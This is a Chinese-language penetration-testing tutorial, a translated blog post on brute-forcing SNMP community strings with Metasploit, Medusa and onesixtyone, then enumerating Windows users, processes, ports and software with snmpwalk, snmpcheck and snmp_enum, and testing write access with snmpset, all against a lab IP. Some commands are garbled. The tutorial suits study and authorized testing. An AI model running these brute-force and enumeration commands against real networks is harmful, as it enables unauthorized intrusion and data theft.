zoukankan      html  css  js  c++  java
  • 一次对SNMP服务的渗透测试

    SNMP安全相关信息是需要各位安全开发人员,渗透测试工程师以及白帽子所需要关心的内容,在本篇文章中,作者通过对其漏洞的分析和实践直观的让读者对其相关内容进行了解。对入门学员可能会有所帮助。

    Hacking SNMP Service – The Post Exploitation :Attacking Network – Network Pentesting原文地址:
    http://www.websecgeeks.com/2017/ … ce-part-1-post.html
    http://www.websecgeeks.com/2017/ … ce-part-2-post.html

    prison翻译整理,首发i春秋。

    引言:

    SNMP安全相关信息是需要各位安全开发人员,渗透测试工程师以及白帽子所需要关心的内容,在本篇文章中,作者通过对其漏洞的分析和实践直观的让读者对其相关内容进行了解。对入门学员可能会有所帮助。难度:三颗星

    01.png

    SNMP(SimpleNetwork Management Protocol)

    关于SNMP的介绍大家可以很容易的从网络上找到相关介绍,在此不再赘述。

    我们本次展示的是爆破SNMP服务字符串实现攻击。

    注:以下所有“字符串”都为:Coummunity Strings

    那么问题来了,为什么我们选择攻击SNMP字符串

    SNMP只读类字符串类似于用户id或密码。它与每个SNMP get请求一起发送,并允许(或拒绝)访问路由器或其他设备的统计信息。如果字符串是正确的,设备将响应请求的信息。如果字符串不正确,设备就会忽略请求而不响应。

    我们可以用Coummunty Strings做什么?

    默认的字符串是“public”和“private”的,带有“ro”(只读)和“rw”(读和写)。

    如你所见,只读意味着用户只能读取信息和读写,读和写意味着用户可以对SNMP中的信息进行写/更新。

    什么是SNMP中的MIB

    SNMP管理信息基础(MIB)是一个包含信息的数据库。

    通常与网络管理有关。数据库像树一样组织起来,在那里

    分支代表不同的组织或网络功能。树上的叶子

    (最终的端点)对应于可以访问的特定变量值,以及

    由外部用户探测。要了解更多关于MIB树的信息,请参阅下面的内容

    http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.progcom/doc/progcomc/mib.htm

    所以SNMP在UDP端口运行时还在网络中执行基于UDP的扫描。

    A) Metasploit

    用于SNMP auxiliary/scanner/snmp/snmp_login

    02.png

    设置一下参数并运行,可以看到Metasploit成功运行,在Community String中显示”mike”

    03.png

    就我个人来说,我比较推荐攻击Community Strings使用Metasploit,因为和其他工具相比,它的运行速度相对来说比较快。

    B) Medusa

    因为这个软件的速度也非常快,所以它对于破解SNMP字符串也非常有用。

    medusa -h 192.168.131.135 -u admin -P Desktop/demo/wordlist -M snmp

    Here no user of “-u admin” but Medusa required thisvalue so we are giving it fulfilled the requirement.

    04.png
     

    同样的,Medusa发现了值wei”mike”的字符串。.

    C ) onesixtyone

    [/size]
    [size=4]onesixtyone – c password 192.168.131.135

    Onesoxtyone工具,它还试图使用基于字典的尝试猜测/破解SNMP社区字符串。

    正如我们在下面看到的,它已经确定了“mike”是有效的字符串。

    05.png

    (一)

    6.png

    我们已经通过Nmap扫描和爆破社区字符串值来识别Community字符串。

    现在我们将看到,如何使用这些提取的Community字符串来进行后期开发。

    我们将使用如下所示的各种工具。

    例如,下面的MIB值对应于特定的MicrosoftWindows SNMP参数。

    1.3.6.1.2.1.25.1.6.0系统进程
    1.3.6.1.2.1.25.4.2.1.2运行程序
    1.3.6.1.2.1.25.4.2.1.4流程路径
    1.3.6.1.2.1.25.2.3.1.4存储单元
    1.3.6.1.2.1.25.6.3.1.2软件名称
    1.3.6.1.4.1.77.1.2.25用户帐户
    1.3.6.1.2.1.6.13.1.3 TCP 本地端口

    (二)SNAMPWALK

    我们已经将”mike”作为Community字符串了,现在我们将其传递给SNMPWALK工具,然后将目标IP作为目标。这将从SNMP服务中提取所有可能的信息。

    snmpwalk -v1 -c mike 192.168.131.135

    2.png

    输出数据量非常大,所以我将输出重定向到一个文件中去。

    snmpwalk -v1 -c mike 192.168.131.135 > snmpout.txt

    3.png

    正如你在下面看到的,此时我们有很多MIB值输出。

    4.png

    我们可以在snmpwalk中使用MIB值来做一些特定的搜索:

    snmpwalk-c:v1192.168.11.204。

    在我们的案例中,Community字符串是-mike

    提取Windows用户:
     
    snmpwalk  -c mike  -v1 192.168.131.135 1.3.6.1.4.1.77.1.2.25
      
    提取Windows系统进程:
    snmpwalk ­‐c mike  ‐v1 192.168.131.135 1.3.6.1.2.1.25.4.2.1.2
    提取开放的TCP端口:
    snmpwalk ‐c mike  ‐v1 192.168.131.135 1.3.6.1.2.1.6.13.1.3
    提取已安装的软件:
    snmpwalk ‐c mike  ­‐v1 192.168.131.135 1.3.6.1.2.1.25.6.3.1.2

    现在,为了验证这个Community字符串是否可写,我们将使用另一个工具SNMPSET

    snmpset -v1 -cmike 192.168.131.135 iso.3.6.1.2.1.1.5.0 s SomeOneWasHere

    这里的“iso.3.6.1.1.1.5.0”为“bhati”的值,它是从snmpwalk输出文件中挑选出来的。

    7.png

    现在我们确认,我们的社区字符串“mike”有写属性。现在,我们应该转向下一部分,从目标机器中搞一点事情。

    B)SNMPCHECK

    snmpcheck工具将使用我们发现的社区字符串“mike”来目标机器的重要信息。


    snmpcheck.rb -c mike 192.168.131.135

    如果在运行此命令时出现错误,请参见snmpcheck的帮助部分,后面是-h,您的版本可能是旧的或更新的。

    8.png

    C)Metasploit

    我们可以使用metasploit辅助设备实现同样的信息。

    auxiliary/scanner/snmp/snmp_enum

    填充所需的值。

    9.png

    现在只要点击“运行”,你就会看到我们的目标机器上有大量的Meal出现。

    10.png

    11.png

  • 相关阅读:
    npm 学习笔记
    Splash 学习笔记
    lodash 学习笔记
    运用 CSS in JS 实现模块化
    运用 CSS methodologies 去实现模块化
    less 学习笔记
    初探爬虫 ——《python 3 网络爬虫开发实践》读书笔记
    mitmproxy 使用笔记
    Appium 使用笔记
    Selenium 与自动化测试 —— 《Selenium 2 自动化测试实战》读书笔记
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7359474.html
Copyright © 2011-2022 走看看